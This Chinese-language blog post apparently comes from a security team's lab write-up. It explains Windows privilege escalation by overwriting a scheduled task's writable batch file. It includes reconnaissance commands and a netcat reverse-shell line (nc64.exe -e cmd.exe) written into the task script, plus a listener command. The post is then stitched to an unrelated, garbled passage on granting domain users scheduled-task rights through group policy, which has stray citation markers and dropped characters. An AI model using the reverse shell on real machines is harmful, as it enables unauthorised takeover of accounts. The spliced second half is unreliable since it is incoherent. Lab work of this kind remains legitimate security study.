windows-计划任务提权

阅读须知:

探索者安全团队技术文章仅供参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作,由于传播、利用本公众号所提供的技术和信息而造成的任何直接或者间接的后果及损失,均由使用者
本人负责,作者不为此承担任何责任,如有侵权烦请告知,我们会立即删除并致歉,创作不易转载请标明出处.感谢!

介绍

个人理解windows计划任务有很多,如果我们能够更改计划任务的.bat 文件 将他修改成我们需要的内容 就可以获取相应执行者权限,可以用来横向和纵向提权

查看计划任务

schtasks 是windwos 的查看计划任务的工具

schtasks /query  /tn  计划任务名字 /fo list /v

/fo list /v  是详细列出计划任务并且详细表示![alt text](https://img2.imgtp.com/2024/03/09/bIhyRBZt.png)

例如我们查看到 名字为vulntask文件名字的计划任务如下的计划任务

从中可以知道运行的脚本 以及 作者 和 运行的用户 是谁
可以看到是taskusr1 那么我们就或许可以横向到 这个用户

权限

首先看脚本文件的权限
icacls 文件
icacls C:\tasks\schtask.bat

可以看到我们有 F 读写执行完全的权限,只要有这个权限我们完全可以写入 反向连接shell
BUILTIN\Users:(I)(F):这表示内置用户组 “Users” 对该文件拥有读取和完全控制的权限。
NT AUTHORITY\SYSTEM:(I)(F):这表示系统用户拥有对该文件的读取和完全控制权限。
BUILTIN\Administrators:(I)(F):这表示内置管理员组拥有对该文件的读取和完全控制权限。
在这里,括号中的 (I) 代表 “继承”,(F) 代表 “完全控制”。

提权

在这个靶机上我们可以看到 已经存在nc

直接写入echo c:/tools/nc64.exe ip 端口 -e cmd.exe > C:\tasks\schtask.bat
然后开启监听 nc -nvlp 端口就可以横向提权到 taskusr1

### 如何为域用户以执行计划任务Windows Server 中,为了使域用户能够执行计划任务并具备相应的限,可以通过调整组策略对象 (GPO) 和配置安全选项来实现。以下是具体方法: #### 配置 GPO 设置 通过修改组策略中的安全选项,可以赋予特定的域用户或组执行计划任务所需的限。 1. **打开组策略编辑器** 使用 `gpedit.msc` 打开组策略编辑器[^3]。 2. **导航至目标路径** 定位到以下位置: ``` Computer Configuration -> Windows Settings -> Security Settings -> Local Policies -> User Rights Assignment ``` 3. **分配限** 修改以下两个关键的安全设置项: - **Log on as a batch job**: 将需要的域用户或组添加到这里,允许其作为批处理作业登录。 - 此设置确保域用户可以在后台运行计划任务[^3]。 - **Replace a process level token**: 添加域用户或组至此处,使其能够在更高限下运行进程。 - 这一步对于某些需要管理员限的任务至关重要[^3]。 4. **更新组策略** 在受影响的计算机上强制刷新组策略,使用命令: ```cmd gpupdate /force ``` #### 配置计划任务 完成上述操作后,在创建计划任务时需进一步确认限已生效。 1. **打开任务计划程序** 使用 `taskschd.msc` 启动任务计划程序。 2. **新建任务** 创建一个新的计划任务,并指定由具有适当限的域用户运行该任务。 3. **高级选项** 在任务属性窗口中,切换到“常规”标签页,勾选以下选项: - **使用最高特运行**:此选项可确保任务以管理员身份运行。 4. **验证触发条件和动作** 确认触发器和动作部分均按预期配置完毕。 #### 测试与验证 最后测试新配置的有效性。尝试以被授的域用户身份启动计划任务,观察是否成功以及是否有任何错误日志记录。 ```powershell Get-ScheduledTask | Where-Object {$_.State -eq 'Ready'} | ForEach-Object {Start-ScheduledTask $_.TaskName} ``` 以上 PowerShell 脚本可用于批量启动状态为 Ready 的所有计划任务---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值